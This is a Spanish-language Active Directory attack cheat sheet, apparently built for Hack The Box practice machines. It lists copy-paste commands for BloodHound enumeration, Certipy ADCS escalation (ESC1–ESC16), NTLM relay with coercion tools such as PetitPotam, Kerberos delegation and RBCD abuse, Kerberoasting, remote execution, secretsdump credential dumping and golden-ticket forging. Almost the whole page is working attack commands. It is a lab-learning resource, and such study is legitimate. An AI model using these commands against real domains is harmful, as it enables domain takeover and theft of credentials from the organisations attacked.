Active Directory a fondo
El flujo de casi toda máquina de dominio: enumerar con BloodHound, encontrar un camino (ACL, ADCS, delegación, relay) y moverte hasta el DC. Rellena arriba el dominio, el usuario y la credencial o el hash y los comandos se ajustan solos.
BloodHound
Recoge los datos, cárgalos en BloodHound CE y busca caminos. Abajo tienes consultas Cypher para pegar en la barra de búsqueda bruta (Cypher) cuando el camino no sea obvio.
Practícalo en: ForestBlackfieldCascadeSaunaSupport
Recoger los datos
bloodhound-ce-python -u usuario -p 'Password123!' -d box.htb -ns 10.10.11.20 -dc dc01.box.htb -c All --zip
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --bloodhound -c All --dns-server 10.10.11.20
.\SharpHound.exe -c All --zipfilename datos
Consultas Cypher útiles
Pégalas en Search > Cypher. Cambia el nombre del dominio en mayúsculas si hace falta.
MATCH (u:User) WHERE u.name STARTS WITH 'usuario' SET u.owned=true RETURN u
MATCH p=shortestPath((n {owned:true})-[*1..]->(g:Group)) WHERE g.name STARTS WITH 'DOMAIN ADMINS@' RETURN p
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
MATCH p=(u:User {owned:true})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|AddKeyCredentialLink|ForceChangePassword|AddMember|AllowedToDelegate*1..]->(n) RETURN p
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
MATCH (u:User)-[:MemberOf*1..]->(g:Group) WHERE g.highvalue=true MATCH (c:Computer)-[:HasSession]->(u) RETURN c.name, u.name
MATCH p=(n)-[:ReadGMSAPassword]->(m:User) RETURN p
MATCH p=(n)-[:ReadLAPSPassword]->(c:Computer) RETURN p
ADCS (ESC1–16)
Si hay una CA de empresa, casi siempre hay un camino. Empieza siempre por el barrido de Certipy: te dice qué ESC aplica. La escalada típica acaba pidiendo un certificado que te da el hash NT del administrador.
Practícalo en: AuthorityCertifiedEscapeEscapeTwoFluffyCertificateMirageTombwatcherFriesManagerLoggingInfiltratorScepter
Buscar plantillas vulnerables
certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs
ESC1 — SAN arbitrario (suplantar a cualquiera)
La plantilla permite enrolamiento, autentica al cliente y deja que tú pongas el SAN. Pides un cert como el administrador.
Practícalo en: AuthorityEscapeTwoFriesMirageScepter
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20
ESC2/ESC3 — Any Purpose y Enrollment Agent
Practícalo en: Certificate
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx
ESC4 — control sobre la plantilla
Tienes permisos de escritura sobre la plantilla: la haces vulnerable (como ESC1), pides el cert y la dejas como estaba.
Practícalo en: EscapeTwoInfiltrator
certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration
ESC6/ESC7 — CA y control sobre la CA
certipy ca -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -add-officer usuario
ESC8 — relay HTTP a la interfaz web de la CA
Coaccionas a un equipo para que se autentique y relayeas esa autenticación NTLM al endpoint web de inscripción de la CA. Encaja con la pestaña de NTLM relay.
certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController
ESC9/ESC10 — sin mapeo fuerte de certificados
Practícalo en: CertifiedMirage
certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected]
ESC13/ESC14/ESC15/ESC16
ESC13: la plantilla añade a un grupo por una OID de política de emisión. ESC15 (CVE-2024-49019): meter EKU arbitrario con plantillas v1. Certipy reciente los detecta y los explota.
Practícalo en: TombwatcherFriesLogging
certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication'
NTLM relay
NTLM no firma por defecto en muchos servicios: si coaccionas a un equipo (o esperas a que un usuario se conecte) puedes reenviar su autenticación a otro servicio donde valga. Comprueba primero si SMB firma.
Practícalo en: EscapeFluffyIntelligenceMailingDriverMirage
¿Dónde puedo relayear?
nxc smb 10.10.11.20/24 --gen-relay-list relay_targets.txt
Montar el relay
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-da
impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Coaccionar la autenticación
Lanza esto contra el DC apuntando a tu máquina, con el ntlmrelayx ya escuchando.
python3 PetitPotam.py -u usuario -p 'Password123!' -d box.htb 10.10.14.5 10.10.11.20
coercer coerce -u usuario -p 'Password123!' -d box.htb -l 10.10.14.5 -t 10.10.11.20
python3 dementor.py 10.10.14.5 10.10.11.20 -u usuario -p 'Password123!' -d box.htb
Delegación
La delegación de Kerberos deja que un servicio actúe en nombre de un usuario. Mal configurada, te permite pedir un ticket como el administrador. Tres sabores: sin restricciones, restringida y restringida basada en recursos (RBCD).
Practícalo en: AuthorityIntelligenceMirageReboundRustyKeySupportVintagePivotAPI
Encontrar delegaciones
impacket-findDelegation box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
Restringida (constrained) — S4U
Practícalo en: IntelligenceVintage
impacket-getST -spn cifs/dc01.box.htb -impersonate administrator -dc-ip 10.10.11.20 box.htb/usuario:'Password123!'
Basada en recursos (RBCD)
Si puedes escribir el atributo msDS-AllowedToActOnBehalfOfOtherIdentity de un equipo, creas una cuenta de máquina y delegas sobre él.
Practícalo en: AuthorityReboundMirage
impacket-addcomputer box.htb/usuario:'Password123!' -computer-name EVIL$ -computer-pass 'Evil123!' -dc-ip 10.10.11.20
impacket-rbcd box.htb/usuario:'Password123!' -delegate-to 'VICTIMA$' -delegate-from 'EVIL$' -action write -dc-ip 10.10.11.20
impacket-getST -spn cifs/victima.box.htb -impersonate administrator 'EVIL$:Evil123!' -dc-ip 10.10.11.20
Shadow credentials (msDS-KeyCredentialLink)
certipy shadow auto -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -account victima
Impacket
La navaja suiza de AD desde Linux. Todo acepta -hashes LM:NT para pass-the-hash y -k -no-pass para Kerberos (con KRB5CCNAME puesto).
Practícalo en: ForestBlackfieldSaunaActiveScrambled
Pedir y usar tickets
impacket-getTGT box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
export KRB5CCNAME=$PWD/usuario.ccache
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -outputfile kerberoast.txt
Crackéalo: hashcat -m 13100 kerberoast.txt rockyou.txt
impacket-GetNPUsers box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request -format hashcat -outputfile asrep.txt
hashcat -m 18200
Ejecutar comandos
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
impacket-wmiexec box.htb/usuario:'Password123!'@10.10.11.20
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
Volcar credenciales
Practícalo en: ForestBlackfield
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20
impacket-secretsdump box.htb/usuario:'Password123!'@dc01.box.htb -just-dc-user Administrator
impacket-ticketer -nthash 64f12cddaa88057e06a81b54e73b949b -domain-sid S-1-5-21-XXXX -domain box.htb administrator
Ningún comando coincide.